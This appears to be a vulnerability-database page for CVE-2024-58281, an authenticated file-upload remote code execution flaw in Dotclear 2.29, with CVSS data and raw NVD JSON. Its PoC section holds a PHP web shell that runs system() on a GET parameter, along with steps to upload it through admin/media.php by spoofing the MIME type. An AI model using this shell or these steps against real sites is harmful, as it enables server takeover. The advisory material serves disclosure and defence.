Security Vulnerability Report
中文
CVE-2024-58281 CVSS 8.8 HIGH

CVE-2024-58281

Published: 2025-12-10 22:16:20
Last Modified: 2025-12-19 17:50:14

Description

Dotclear 2.29 contains a remote code execution vulnerability that allows authenticated attackers to upload malicious PHP files through the media upload functionality. Attackers can exploit the file upload process by crafting a PHP shell with a command execution form to gain system access through the uploaded file.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dotclear:dotclear:2.29:*:*:*:*:*:*:* - VULNERABLE
Dotclear < 2.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2024-58281 PoC - Dotclear 2.29 Authenticated RCE via Media Upload // Author: vulnerability researcher // Date: 2024 // Step 1: Prepare malicious PHP shell $shell_content = '<?php\nif(isset($_GET["cmd"])){\n system($_GET["cmd"]);\n}\n?>\n'; // Step 2: Authentication (low privilege user) $dotclear_url = 'http://target.com/dotclear/'; $username = 'attacker'; $password = 'user_password'; // Step 3: Upload malicious PHP file via media functionality $upload_url = $dotclear_url . 'admin/media.php'; $post_data = [ 'file' => [ 'name' => 'shell.php', 'type' => 'image/jpeg', // Bypass MIME type check 'content' => $shell_content ] ]; // Step 4: Execute command via uploaded shell $shell_url = $dotclear_url . 'public/shell.php'; $cmd = 'whoami'; $exec_url = $shell_url . '?cmd=' . urlencode($cmd); echo "[*] Target: $dotclear_url\n"; echo "[*] Shell uploaded at: $shell_url\n"; echo "[*] Command execution: $exec_url\n"; // Note: This is a conceptual PoC. Use appropriate HTTP client to send requests. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-58281", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:19.907", "lastModified": "2025-12-19T17:50:14.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dotclear 2.29 contains a remote code execution vulnerability that allows authenticated attackers to upload malicious PHP files through the media upload functionality. Attackers can exploit the file upload process by crafting a PHP shell with a command execution form to gain system access through the uploaded file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dotclear:dotclear:2.29:*:*:*:*:*:*:*", "matchCriteriaId": "E604EAF6-9764-4ECC-8F3B-B981F9D07420"}]}]}], "references": [{"url": "https://git.dotclear.org/explore/repos", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/dotclear/dotclear/archive/refs/heads/master.zip", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/52037", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/dotclear-remote-code-execution-via-authenticated-file-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dotclear/dotclear/archive/refs/heads/master.zip", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Product"]}]}}